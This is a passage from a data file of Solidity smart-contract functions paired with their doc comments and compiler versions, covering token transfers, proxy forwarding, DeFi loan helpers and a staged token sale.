The address to transfer to.\r\n * @param _value The amount to be transferred.\r\n */", "function_code": "function _transfer(address _from, address _to, uint _value) internal {\r\n\r\nrequire(_to != address(0));\r\nrequire(_value <= balances[_from]);\r\nrequire(_value <= allowed[_from][msg.sender]);\r\nbalances[_from] = balances[_from].sub(_value);\r\nbalances[_to] = balances[_to].add(_value);\r\nallowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);\r\nemit Transfer(_from, _to, _value);\r\n}", "version": "0.4.24"} {"comment": "/**\r\n * @dev Hook that is called before any token transfer. This includes minting\r\n * and burning.\r\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\r\n */", "function_code": "function _beforeTokenTransfer(\r\n address from,\r\n address to,\r\n uint256 tokenId\r\n ) internal virtual override(ERC721) {\r\n super._beforeTokenTransfer(from, to, tokenId);\r\n Molecule memory mol = allMolecules[tokenId];\r\n require(mol.bonded == false,\"Molecule is bonded!\");\r\n mol.currentOwner = to;\r\n mol.numberOfTransfers += 1;\r\n mol.forSale = false;\r\n allMolecules[tokenId] = mol;\r\n if (from == address(0)) {\r\n _addTokenToAllTokensEnumeration(tokenId);\r\n } else if (from != to) {\r\n _removeTokenFromOwnerEnumeration(from, tokenId);\r\n }\r\n if (to == address(0)) {\r\n _removeTokenFromAllTokensEnumeration(tokenId);\r\n } else if (to != from) {\r\n _addTokenToOwnerEnumeration(to, tokenId);\r\n }\r\n }", "version": "0.8.7"} {"comment": "// upgrade contract to allow OXG Nodes to ", "function_code": "function bondMolecule(address account,uint256 _tokenId, uint256 nodeCreationTime) external onlyAuthorized {\r\n require(_exists(_tokenId), \"token not found\");\r\n address tokenOwner = ownerOf(_tokenId);\r\n require(tokenOwner == account, \"not owner\");\r\n Molecule memory mol = allMolecules[_tokenId];\r\n require(mol.bonded == false, \"Molecule already bonded\");\r\n mol.bonded = true;\r\n allMolecules[_tokenId] = mol;\r\n emit moleculeBonded(_tokenId, account, nodeCreationTime);\r\n }", "version": "0.8.7"} {"comment": "// ownerOf(): get the current owner of point _tokenId\n//", "function_code": "function ownerOf(uint256 _tokenId)\r\n public\r\n view\r\n validPointId(_tokenId)\r\n returns (address owner)\r\n {\r\n uint32 id = uint32(_tokenId);\r\n\r\n // this will throw if the owner is the zero address,\r\n // active points always have a valid owner.\r\n //\r\n require(azimuth.isActive(id));\r\n\r\n return azimuth.getOwner(id);\r\n }", "version": "0.4.24"} {"comment": "// safeTransferFrom(): transfer point _tokenId from _from to _to,\n// and call recipient if it's a contract\n//", "function_code": "function safeTransferFrom(address _from, address _to, uint256 _tokenId,\r\n bytes _data)\r\n public\r\n {\r\n // perform raw transfer\r\n //\r\n transferFrom(_from, _to, _tokenId);\r\n\r\n // do the callback last to avoid re-entrancy\r\n //\r\n if (_to.isContract())\r\n {\r\n bytes4 retval = ERC721Receiver(_to)\r\n .onERC721Received(msg.sender, _from, _tokenId, _data);\r\n //\r\n // standard return idiom to confirm contract semantics\r\n //\r\n require(retval == erc721Received);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @notice Gets the maximum amount of debt available to generate\n/// @param _cdpId Id of the CDP\n/// @param _ilk Ilk of the CDP", "function_code": "function getMaxDebt(uint256 _cdpId, bytes32 _ilk) public override view returns (uint256) {\n uint256 price = getPrice(_ilk);\n\n (, uint256 mat) = spotter.ilks(_ilk);\n (uint256 collateral, uint256 debt) = getCdpInfo(manager, _cdpId, _ilk);\n\n return sub(wdiv(wmul(collateral, price), mat), debt);\n }", "version": "0.6.12"} {"comment": "// transferFrom(): transfer point _tokenId from _from to _to,\n// WITHOUT notifying recipient contract\n//", "function_code": "function transferFrom(address _from, address _to, uint256 _tokenId)\r\n public\r\n validPointId(_tokenId)\r\n {\r\n uint32 id = uint32(_tokenId);\r\n require(azimuth.isOwner(id, _from));\r\n\r\n // the ERC721 operator/approved address (if any) is\r\n // accounted for in transferPoint()\r\n //\r\n transferPoint(id, _to, true);\r\n }", "version": "0.4.24"} {"comment": "// Check to see if the sell amount is greater than 5% of tokens in a 7 day period", "function_code": "function _justTakingProfits(uint256 sellAmount, address account) private view returns(bool) {\r\n // Basic cheak to see if we are selling more than 5% - if so return false\r\n if ((sellAmount * 20) > _balances[account]) {\r\n return false;\r\n } else {\r\n return true;\r\n }\r\n }", "version": "0.8.6"} {"comment": "// Calculate the number of taxed tokens for a transaction", "function_code": "function _getTaxedValue(uint256 transTokens, address account) private view returns(uint256){\r\n uint256 taxRate = _getTaxRate(account);\r\n if (taxRate == 0) {\r\n return 0;\r\n } else {\r\n uint256 numerator = (transTokens * (10000 - (100 * taxRate)));\r\n return (((transTokens * 10000) - numerator) / 10000);\r\n }\r\n }", "version": "0.8.6"} {"comment": "// Calculate the current tax rate.", "function_code": "function _getTaxRate(address account) private view returns(uint256) {\r\n uint256 numHours = _getHours(_tradingStartTimestamp, block.timestamp);\r\n\r\n if (numHours <= 24){\r\n // 20% Sell Tax first 24 Hours\r\n return 20;\r\n } else if (numHours <= 48){\r\n // 16% Sell Tax second 24 Hours\r\n return 16;\r\n } else {\r\n // 12% Sell Tax starting rate\r\n numHours = _getHours(_firstBuy[account], block.timestamp);\r\n uint256 numDays = (numHours / 24);\r\n if (numDays >= 84 ){\r\n //12 x 7 = 84 = tax free!\r\n return 0;\r\n } else {\r\n uint256 numWeeks = (numDays / 7);\r\n return (12 - numWeeks);\r\n }\r\n }\r\n }", "version": "0.8.6"} {"comment": "/// @dev Fallback function forwards all transactions and returns all received return data.", "function_code": "function ()\r\n external\r\n payable\r\n {\r\n // solium-disable-next-line security/no-inline-assembly\r\n assembly {\r\n let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)\r\n // 0xa619486e == keccak(\"masterCopy()\"). The value is right padded to 32-bytes with 0s\r\n if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {\r\n mstore(0, masterCopy)\r\n return(0, 0x20)\r\n }\r\n calldatacopy(0, 0, calldatasize())\r\n let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0)\r\n returndatacopy(0, 0, returndatasize())\r\n if eq(success, 0) { revert(0, returndatasize()) }\r\n return(0, returndatasize())\r\n }\r\n }", "version": "0.5.16"} {"comment": "/// @notice Starts the process to move users position 1 collateral and 1 borrow\n/// @dev User must approve COMPOUND_IMPORT_FLASH_LOAN to pull _cCollateralToken\n/// @param _cCollateralToken Collateral we are moving to DSProxy\n/// @param _cBorrowToken Borrow token we are moving to DSProxy", "function_code": "function importLoan(address _cCollateralToken, address _cBorrowToken) external burnGas(20) {\n address proxy = getProxy();\n\n uint loanAmount = CTokenInterface(_cBorrowToken).borrowBalanceCurrent(msg.sender);\n bytes memory paramsData = abi.encode(_cCollateralToken, _cBorrowToken, msg.sender, proxy);\n\n givePermission(COMPOUND_IMPORT_FLASH_LOAN);\n\n lendingPool.flashLoan(COMPOUND_IMPORT_FLASH_LOAN, getUnderlyingAddr(_cBorrowToken), loanAmount, paramsData);\n\n removePermission(COMPOUND_IMPORT_FLASH_LOAN);\n\n logger.Log(address(this), msg.sender, \"CompoundImport\", abi.encode(loanAmount, 0, _cCollateralToken));\n }", "version": "0.6.12"} {"comment": "// castUpgradeVote(): as _galaxy, cast a _vote on the ecliptic\n// upgrade _proposal\n//\n// _vote is true when in favor of the proposal, false otherwise\n//\n// If this vote results in a majority for the _proposal, it will\n// be upgraded to immediately.\n//", "function_code": "function castUpgradeVote(uint8 _galaxy,\r\n EclipticBase _proposal,\r\n bool _vote)\r\n external\r\n activePointVoter(_galaxy)\r\n {\r\n // majority: true if the vote resulted in a majority, false otherwise\r\n //\r\n bool majority = polls.castUpgradeVote(_galaxy, _proposal, _vote);\r\n\r\n // if a majority is in favor of the upgrade, it happens as defined\r\n // in the ecliptic base contract\r\n //\r\n if (majority)\r\n {\r\n upgrade(_proposal);\r\n }\r\n }", "version": "0.4.24"} {"comment": "// updateUpgradePoll(): check whether the _proposal has achieved\n// majority, upgrading to it if it has\n//", "function_code": "function updateUpgradePoll(EclipticBase _proposal)\r\n external\r\n {\r\n // majority: true if the poll ended in a majority, false otherwise\r\n //\r\n bool majority = polls.updateUpgradePoll(_proposal);\r\n\r\n // if a majority is in favor of the upgrade, it happens as defined\r\n // in the ecliptic base contract\r\n //\r\n if (majority)\r\n {\r\n upgrade(_proposal);\r\n }\r\n }", "version": "0.4.24"} {"comment": "//\n// Contract owner operations\n//\n// createGalaxy(): grant _target ownership of the _galaxy and register\n// it for voting\n//", "function_code": "function createGalaxy(uint8 _galaxy, address _target)\r\n external\r\n onlyOwner\r\n {\r\n // only currently unowned (and thus also inactive) galaxies can be\r\n // created, and only to non-zero addresses\r\n //\r\n require( azimuth.isOwner(_galaxy, 0x0) &&\r\n 0x0 != _target );\r\n\r\n // new galaxy means a new registered voter\r\n //\r\n polls.incrementTotalVoters();\r\n\r\n // if the caller is sending the galaxy to themselves,\r\n // assume it knows what it's doing and resolve right away\r\n //\r\n if (msg.sender == _target)\r\n {\r\n doSpawn(_galaxy, _target, true, 0x0);\r\n }\r\n //\r\n // when sending to a \"foreign\" address, enforce a withdraw pattern,\r\n // making the caller the owner in the mean time\r\n //\r\n else\r\n {\r\n doSpawn(_galaxy, _target, false, msg.sender);\r\n }\r\n }", "version": "0.4.24"} {"comment": "//\n// Buyer operations\n//\n// available(): returns true if the _planet is available for purchase\n//", "function_code": "function available(uint32 _planet)\r\n public\r\n view\r\n returns (bool result)\r\n {\r\n uint16 prefix = azimuth.getPrefix(_planet);\r\n\r\n return ( // planet must not have an owner yet\r\n //\r\n azimuth.isOwner(_planet, 0x0) &&\r\n //\r\n // this contract must be allowed to spawn for the prefix\r\n //\r\n azimuth.isSpawnProxy(prefix, this) &&\r\n //\r\n // prefix must be linked\r\n //\r\n azimuth.hasBeenLinked(prefix) );\r\n }", "version": "0.4.24"} {"comment": "// purchase(): pay the :price, acquire ownership of the _planet\n//\n// discovery of available planets can be done off-chain\n//", "function_code": "function purchase(uint32 _planet)\r\n external\r\n payable\r\n {\r\n require( // caller must pay exactly the price of a planet\r\n //\r\n (msg.value == price) &&\r\n //\r\n // the planet must be available for purchase\r\n //\r\n available(_planet) );\r\n\r\n // spawn the planet to us, then immediately transfer to the caller\r\n //\r\n // spawning to the caller would give the point's prefix's owner\r\n // a window of opportunity to cancel the transfer\r\n //\r\n Ecliptic ecliptic = Ecliptic(azimuth.owner());\r\n ecliptic.spawn(_planet, this);\r\n ecliptic.transferPoint(_planet, msg.sender, false);\r\n emit PlanetSold(azimuth.getPrefix(_planet), _planet);\r\n }", "version": "0.4.24"} {"comment": "/// @dev Transfer tokens to addresses registered for airdrop\n/// @param dests Array of addresses that have registered for airdrop\n/// @param values Array of token amount for each address that have registered for airdrop\n/// @return Number of transfers", "function_code": "function airdrop(address[] dests, uint256[] values) public onlyOwner returns (uint256) {\r\n require(dests.length == values.length);\r\n uint256 i = 0;\r\n while (i < dests.length) {\r\n token.transfer(dests[i], values[i]);\r\n i += 1;\r\n }\r\n return (i); \r\n }", "version": "0.4.23"} {"comment": "/**\r\n * @dev Returns the multiplication of two unsigned integers, reverting on overflow.\r\n */", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n if (a == 0) {\r\n return 0;\r\n }\r\n\r\n uint256 c = a * b;\r\n require(c / a == b, \"SafeMath: multiplication overflow\");\r\n\r\n return c;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Returns the integer division of two unsigned integers. Reverts with custom message on\r\n * division by zero. The result is rounded towards zero.\r\n */", "function_code": "function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r\n // Solidity only automatically asserts when dividing by 0\r\n require(b > 0, errorMessage);\r\n return a / b;\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Finds currently applicable rate modifier.\r\n * @return Current rate modifier percentage.\r\n */", "function_code": "function currentModifier() public view returns (uint256 rateModifier) {\r\n // solium-disable-next-line security/no-block-members\r\n uint256 comparisonVariable = now;\r\n for (uint i = 0; i < modifiers.length; i++) {\r\n if (comparisonVariable >= modifiers[i].start) {\r\n rateModifier = modifiers[i].ratePermilles;\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internall call site, it will return directly to the external caller.\n */", "function_code": "function _delegate(address implementation) internal {\n // solhint-disable-next-line no-inline-assembly\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 { revert(0, returndatasize()) }\n default { return(0, returndatasize()) }\n }\n }", "version": "0.7.3"} {"comment": "/// @notice Called by Aave when sending back the FL amount\n/// @param _reserve The address of the borrowed token\n/// @param _amount Amount of FL tokens received\n/// @param _fee FL Aave fee\n/// @param _params The params that are sent from the original FL caller contract", "function_code": "function executeOperation(\n address _reserve,\n uint256 _amount,\n uint256 _fee,\n bytes calldata _params)\n external override {\n // Format the call data for DSProxy\n (CompCreateData memory compCreate, ExchangeData memory exchangeData)\n = packFunctionCall(_amount, _fee, _params);\n\n\n address leveragedAsset = _reserve;\n\n // If the assets are different\n if (compCreate.cCollAddr != compCreate.cDebtAddr) {\n (, uint sellAmount) = _sell(exchangeData);\n getFee(sellAmount, exchangeData.destAddr, compCreate.proxyAddr);\n\n leveragedAsset = exchangeData.destAddr;\n }\n\n // Send amount to DSProxy\n sendToProxy(compCreate.proxyAddr, leveragedAsset);\n\n address compOpenProxy = shifterRegistry.getAddr(\"COMP_SHIFTER\");\n\n // Execute the DSProxy call\n DSProxyInterface(compCreate.proxyAddr).execute(compOpenProxy, compCreate.proxyData);\n\n // Repay the loan with the money DSProxy sent back\n transferFundsBackToPoolInternal(_reserve, _amount.add(_fee));\n\n // if there is some eth left (0x fee), return it to user\n if (address(this).balance > 0) {\n // solhint-disable-next-line avoid-tx-origin\n tx.origin.transfer(address(this).balance);\n }\n }", "version": "0.6.12"} {"comment": "/// @notice Formats function data call so we can call it through DSProxy\n/// @param _amount Amount of FL\n/// @param _fee Fee of the FL\n/// @param _params Saver proxy params", "function_code": "function packFunctionCall(uint _amount, uint _fee, bytes memory _params) internal pure returns (CompCreateData memory compCreate, ExchangeData memory exchangeData) {\n (\n uint[4] memory numData, // srcAmount, destAmount, minPrice, price0x\n address[6] memory cAddresses, // cCollAddr, cDebtAddr, srcAddr, destAddr, exchangeAddr, wrapper\n bytes memory callData,\n address proxy\n )\n = abi.decode(_params, (uint256[4],address[6],bytes,address));\n\n bytes memory proxyData = abi.encodeWithSignature(\n \"open(address,address,uint256)\",\n cAddresses[0], cAddresses[1], (_amount + _fee));\n\n exchangeData = SaverExchangeCore.ExchangeData({\n srcAddr: cAddresses[2],\n destAddr: cAddresses[3],\n srcAmount: numData[0],\n destAmount: numData[1],\n minPrice: numData[2],\n wrapper: cAddresses[5],\n exchangeAddr: cAddresses[4],\n callData: callData,\n price0x: numData[3]\n });\n\n compCreate = CompCreateData({\n proxyAddr: payable(proxy),\n proxyData: proxyData,\n cCollAddr: cAddresses[0],\n cDebtAddr: cAddresses[1]\n });\n\n return (compCreate, exchangeData);\n }", "version": "0.6.12"} {"comment": "//////////////////////// INTERNAL FUNCTIONS //////////////////////////", "function_code": "function _callCloseAndOpen(\n SaverExchangeCore.ExchangeData memory _exchangeData,\n LoanShiftData memory _loanShift\n ) internal {\n address protoAddr = shifterRegistry.getAddr(getNameByProtocol(uint8(_loanShift.fromProtocol)));\n\n if (_loanShift.wholeDebt) {\n _loanShift.debtAmount = ILoanShifter(protoAddr).getLoanAmount(_loanShift.id1, _loanShift.debtAddr1);\n }\n\n (\n uint[8] memory numData,\n address[8] memory addrData,\n uint8[3] memory enumData,\n bytes memory callData\n )\n = _packData(_loanShift, _exchangeData);\n\n // encode data\n bytes memory paramsData = abi.encode(numData, addrData, enumData, callData, address(this));\n\n address payable loanShifterReceiverAddr = payable(shifterRegistry.getAddr(\"LOAN_SHIFTER_RECEIVER\"));\n\n loanShifterReceiverAddr.transfer(address(this).balance);\n\n // call FL\n givePermission(loanShifterReceiverAddr);\n\n lendingPool.flashLoan(loanShifterReceiverAddr,\n getLoanAddr(_loanShift.debtAddr1, _loanShift.fromProtocol), _loanShift.debtAmount, paramsData);\n\n removePermission(loanShifterReceiverAddr);\n\n unsubFromAutomation(\n _loanShift.unsub,\n _loanShift.id1,\n _loanShift.id2,\n _loanShift.fromProtocol,\n _loanShift.toProtocol\n );\n\n logEvent(_exchangeData, _loanShift);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Accept ownership of the contract.\r\n *\r\n * Can only be called by the new owner.\r\n */", "function_code": "function acceptOwnership() public {\r\n require(msg.sender == _newOwner, \"Ownable: caller is not the new owner address\");\r\n require(msg.sender != address(0), \"Ownable: caller is the zero address\");\r\n\r\n emit OwnershipAccepted(_owner, msg.sender);\r\n _owner = msg.sender;\r\n _newOwner = address(0);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Rescue compatible ERC20 Token\r\n *\r\n * Can only be called by the current owner.\r\n */", "function_code": "function rescueTokens(address tokenAddr, address recipient, uint256 amount) external onlyOwner {\r\n IERC20 _token = IERC20(tokenAddr);\r\n require(recipient != address(0), \"Rescue: recipient is the zero address\");\r\n uint256 balance = _token.balanceOf(address(this));\r\n\r\n require(balance >= amount, \"Rescue: amount exceeds balance\");\r\n _token.transfer(recipient, amount);\r\n }", "version": "0.5.11"} {"comment": "/// @notice Handles that the amount is not bigger than cdp debt and not dust", "function_code": "function limitLoanAmount(uint _cdpId, bytes32 _ilk, uint _paybackAmount, address _owner) internal returns (uint256) {\n uint debt = getAllDebt(address(vat), manager.urns(_cdpId), manager.urns(_cdpId), _ilk);\n\n if (_paybackAmount > debt) {\n ERC20(DAI_ADDRESS).transfer(_owner, (_paybackAmount - debt));\n return debt;\n }\n\n uint debtLeft = debt - _paybackAmount;\n\n (,,,, uint dust) = vat.ilks(_ilk);\n dust = dust / 10**27;\n\n // Less than dust value\n if (debtLeft < dust) {\n uint amountOverDust = (dust - debtLeft);\n\n ERC20(DAI_ADDRESS).transfer(_owner, amountOverDust);\n\n return (_paybackAmount - amountOverDust);\n }\n\n return _paybackAmount;\n }", "version": "0.6.12"} {"comment": "/// @notice Bots call this method to repay for user when conditions are met\n/// @dev If the contract ownes gas token it will try and use it for gas price reduction", "function_code": "function repayFor(\n SaverExchangeCore.ExchangeData memory _exchangeData,\n uint _cdpId,\n uint _nextPrice,\n address _joinAddr\n ) public payable onlyApproved burnGas(REPAY_GAS_TOKEN) {\n\n (bool isAllowed, uint ratioBefore) = canCall(Method.Repay, _cdpId, _nextPrice);\n require(isAllowed);\n\n uint gasCost = calcGasCost(REPAY_GAS_COST);\n\n address owner = subscriptionsContract.getOwner(_cdpId);\n\n monitorProxyContract.callExecute{value: msg.value}(\n owner,\n mcdSaverTakerAddress,\n abi.encodeWithSignature(\n \"repayWithLoan((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256,uint256,address)\",\n _exchangeData, _cdpId, gasCost, _joinAddr));\n\n\n (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Repay, _cdpId, _nextPrice);\n require(isGoodRatio);\n\n returnEth();\n\n logger.Log(address(this), owner, \"AutomaticMCDRepay\", abi.encode(ratioBefore, ratioAfter));\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Withdraw Ether\r\n *\r\n * Can only be called by the current owner.\r\n */", "function_code": "function withdrawEther(address payable recipient, uint256 amount) external onlyOwner {\r\n require(recipient != address(0), \"Withdraw: recipient is the zero address\");\r\n\r\n uint256 balance = address(this).balance;\r\n\r\n require(balance >= amount, \"Withdraw: amount exceeds balance\");\r\n recipient.transfer(amount);\r\n }", "version": "0.5.11"} {"comment": "/// @notice Gets CDP info (collateral, debt)\n/// @param _cdpId Id of the CDP\n/// @param _ilk Ilk of the CDP", "function_code": "function getCdpInfo(uint _cdpId, bytes32 _ilk) public view returns (uint, uint) {\n address urn = manager.urns(_cdpId);\n\n (uint collateral, uint debt) = vat.urns(_ilk, urn);\n (,uint rate,,,) = vat.ilks(_ilk);\n\n return (collateral, rmul(debt, rate));\n }", "version": "0.6.12"} {"comment": "/// @notice Gets CDP ratio\n/// @param _cdpId Id of the CDP\n/// @param _nextPrice Next price for user", "function_code": "function getRatio(uint _cdpId, uint _nextPrice) public view returns (uint) {\n bytes32 ilk = manager.ilks(_cdpId);\n uint price = (_nextPrice == 0) ? getPrice(ilk) : _nextPrice;\n\n (uint collateral, uint debt) = getCdpInfo(_cdpId, ilk);\n\n if (debt == 0) return 0;\n\n return rdiv(wmul(collateral, price), debt) / (10 ** 18);\n }", "version": "0.6.12"} {"comment": "/// @notice Checks if Boost/Repay could be triggered for the CDP\n/// @dev Called by MCDMonitor to enforce the min/max check", "function_code": "function canCall(Method _method, uint _cdpId, uint _nextPrice) public view returns(bool, uint) {\n bool subscribed;\n CdpHolder memory holder;\n (subscribed, holder) = subscriptionsContract.getCdpHolder(_cdpId);\n\n // check if cdp is subscribed\n if (!subscribed) return (false, 0);\n\n // check if using next price is allowed\n if (_nextPrice > 0 && !holder.nextPriceEnabled) return (false, 0);\n\n // check if boost and boost allowed\n if (_method == Method.Boost && !holder.boostEnabled) return (false, 0);\n\n // check if owner is still owner\n if (getOwner(_cdpId) != holder.owner) return (false, 0);\n\n uint currRatio = getRatio(_cdpId, _nextPrice);\n\n if (_method == Method.Repay) {\n return (currRatio < holder.minRatio, currRatio);\n } else if (_method == Method.Boost) {\n return (currRatio > holder.maxRatio, currRatio);\n }\n }", "version": "0.6.12"} {"comment": "/// @dev After the Boost/Repay check if the ratio doesn't trigger another call", "function_code": "function ratioGoodAfter(Method _method, uint _cdpId, uint _nextPrice) public view returns(bool, uint) {\n CdpHolder memory holder;\n\n (, holder) = subscriptionsContract.getCdpHolder(_cdpId);\n\n uint currRatio = getRatio(_cdpId, _nextPrice);\n\n if (_method == Method.Repay) {\n return (currRatio < holder.maxRatio, currRatio);\n } else if (_method == Method.Boost) {\n return (currRatio > holder.minRatio, currRatio);\n }\n }", "version": "0.6.12"} {"comment": "/// @notice Helper method to payback the cream debt\n/// @dev If amount is bigger it will repay the whole debt and send the extra to the _user\n/// @param _amount Amount of tokens we want to repay\n/// @param _cBorrowToken Ctoken address we are repaying\n/// @param _borrowToken Token address we are repaying\n/// @param _user Owner of the cream position we are paying back", "function_code": "function paybackDebt(uint _amount, address _cBorrowToken, address _borrowToken, address payable _user) internal {\n uint wholeDebt = CTokenInterface(_cBorrowToken).borrowBalanceCurrent(address(this));\n\n if (_amount > wholeDebt) {\n if (_borrowToken == ETH_ADDRESS) {\n _user.transfer((_amount - wholeDebt));\n } else {\n ERC20(_borrowToken).safeTransfer(_user, (_amount - wholeDebt));\n }\n\n _amount = wholeDebt;\n }\n\n approveCToken(_borrowToken, _cBorrowToken);\n\n if (_borrowToken == ETH_ADDRESS) {\n CEtherInterface(_cBorrowToken).repayBorrow{value: _amount}();\n } else {\n require(CTokenInterface(_cBorrowToken).repayBorrow(_amount) == 0);\n }\n }", "version": "0.6.12"} {"comment": "/// @notice Calculates the fee amount\n/// @param _amount Amount that is converted\n/// @param _user Actuall user addr not DSProxy\n/// @param _gasCost Ether amount of gas we are spending for tx\n/// @param _cTokenAddr CToken addr. of token we are getting for the fee\n/// @return feeAmount The amount we took for the fee", "function_code": "function getFee(uint _amount, address _user, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) {\n uint fee = MANUAL_SERVICE_FEE;\n\n if (BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin)) {\n fee = AUTOMATIC_SERVICE_FEE;\n }\n\n address tokenAddr = getUnderlyingAddr(_cTokenAddr);\n\n if (Discount(DISCOUNT_ADDR).isCustomFeeSet(_user)) {\n fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(_user);\n }\n\n feeAmount = (fee == 0) ? 0 : (_amount / fee);\n\n if (_gasCost != 0) {\n address oracle = ComptrollerInterface(COMPTROLLER).oracle();\n\n uint ethTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr);\n\n _gasCost = wdiv(_gasCost, ethTokenPrice);\n\n feeAmount = add(feeAmount, _gasCost);\n }\n\n // fee can't go over 20% of the whole amount\n if (feeAmount > (_amount / 5)) {\n feeAmount = _amount / 5;\n }\n\n if (tokenAddr == ETH_ADDRESS) {\n WALLET_ADDR.transfer(feeAmount);\n } else {\n ERC20(tokenAddr).safeTransfer(WALLET_ADDR, feeAmount);\n }\n }", "version": "0.6.12"} {"comment": "/// @notice Calculates the gas cost of transaction and send it to wallet\n/// @param _amount Amount that is converted\n/// @param _gasCost Ether amount of gas we are spending for tx\n/// @param _cTokenAddr CToken addr. of token we are getting for the fee\n/// @return feeAmount The amount we took for the fee", "function_code": "function getGasCost(uint _amount, uint _gasCost, address _cTokenAddr) internal returns (uint feeAmount) {\n address tokenAddr = getUnderlyingAddr(_cTokenAddr);\n\n if (_gasCost != 0) {\n address oracle = ComptrollerInterface(COMPTROLLER).oracle();\n\n uint ethTokenPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cTokenAddr);\n\n feeAmount = wdiv(_gasCost, ethTokenPrice);\n }\n\n // fee can't go over 20% of the whole amount\n if (feeAmount > (_amount / 5)) {\n feeAmount = _amount / 5;\n }\n\n if (tokenAddr == ETH_ADDRESS) {\n WALLET_ADDR.transfer(feeAmount);\n } else {\n ERC20(tokenAddr).safeTransfer(WALLET_ADDR, feeAmount);\n }\n }", "version": "0.6.12"} {"comment": "/// @notice Returns the maximum amount of collateral available to withdraw\n/// @dev Due to rounding errors the result is - 1% wei from the exact amount\n/// @param _cCollAddress Collateral we are getting the max value of\n/// @param _account Users account\n/// @return Returns the max. collateral amount in that token", "function_code": "function getMaxCollateral(address _cCollAddress, address _account) public returns (uint) {\n (, uint liquidityInEth, ) = ComptrollerInterface(COMPTROLLER).getAccountLiquidity(_account);\n uint usersBalance = CTokenInterface(_cCollAddress).balanceOfUnderlying(_account);\n address oracle = ComptrollerInterface(COMPTROLLER).oracle();\n\n if (liquidityInEth == 0) return usersBalance;\n\n CTokenInterface(_cCollAddress).accrueInterest();\n\n if (_cCollAddress == CETH_ADDRESS) {\n if (liquidityInEth > usersBalance) return usersBalance;\n\n return sub(liquidityInEth, (liquidityInEth / 100));\n }\n\n uint ethPrice = CompoundOracleInterface(oracle).getUnderlyingPrice(_cCollAddress);\n uint liquidityInToken = wdiv(liquidityInEth, ethPrice);\n\n if (liquidityInToken > usersBalance) return usersBalance;\n\n return sub(liquidityInToken, (liquidityInToken / 100)); // cut off 1% due to rounding issues\n }", "version": "0.6.12"} {"comment": "/**\r\n * Close the current stage.\r\n */", "function_code": "function _closeStage() private {\r\n _stage = _stage.add(1);\r\n emit StageClosed(_stage);\r\n\r\n // Close current season\r\n uint16 __seasonNumber = _seasonNumber(_stage);\r\n if (_season < __seasonNumber) {\r\n _season = __seasonNumber;\r\n emit SeasonClosed(_season);\r\n }\r\n\r\n _vokenUsdPrice = _calcVokenUsdPrice(_stage);\r\n _shareholdersRatio = _calcShareholdersRatio(_stage);\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Returns the {limitIndex} and {weiMax}.\r\n */", "function_code": "function _limit(uint256 weiAmount) private view returns (uint256 __wei) {\r\n uint256 __purchased = _weiSeasonAccountPurchased[_season][msg.sender];\r\n for(uint16 i = 0; i < LIMIT_WEIS.length; i++) {\r\n if (__purchased >= LIMIT_WEIS[i]) {\r\n return 0;\r\n }\r\n\r\n if (__purchased < LIMIT_WEIS[i]) {\r\n __wei = LIMIT_WEIS[i].sub(__purchased);\r\n if (weiAmount >= __wei && _seasonLimitAccounts[_season][i].length < LIMIT_COUNTER[i]) {\r\n return __wei;\r\n }\r\n }\r\n }\r\n\r\n if (__purchased < LIMIT_WEI_MIN) {\r\n return LIMIT_WEI_MIN.sub(__purchased);\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Updates the season limit accounts, or wei min accounts.\r\n */", "function_code": "function _updateSeasonLimits() private {\r\n uint256 __purchased = _weiSeasonAccountPurchased[_season][msg.sender];\r\n if (__purchased > LIMIT_WEI_MIN) {\r\n for(uint16 i = 0; i < LIMIT_WEIS.length; i++) {\r\n if (__purchased >= LIMIT_WEIS[i]) {\r\n _seasonLimitAccounts[_season][i].push(msg.sender);\r\n return;\r\n }\r\n }\r\n }\r\n\r\n else if (__purchased == LIMIT_WEI_MIN) {\r\n _seasonLimitWeiMinAccounts[_season].push(msg.sender);\r\n return;\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Returns the accounts of wei limit, by `seasonNumber` and `limitIndex`.\r\n */", "function_code": "function seasonLimitAccounts(uint16 seasonNumber, uint16 limitIndex) public view returns (uint256 weis, address[] memory accounts) {\r\n if (limitIndex < LIMIT_WEIS.length) {\r\n weis = LIMIT_WEIS[limitIndex];\r\n accounts = _seasonLimitAccounts[seasonNumber][limitIndex];\r\n }\r\n\r\n else {\r\n weis = LIMIT_WEI_MIN;\r\n accounts = _seasonLimitWeiMinAccounts[seasonNumber];\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Cache.\r\n */", "function_code": "function _cache() private {\r\n if (!_seasonHasAccount[_season][msg.sender]) {\r\n _seasonAccounts[_season].push(msg.sender);\r\n 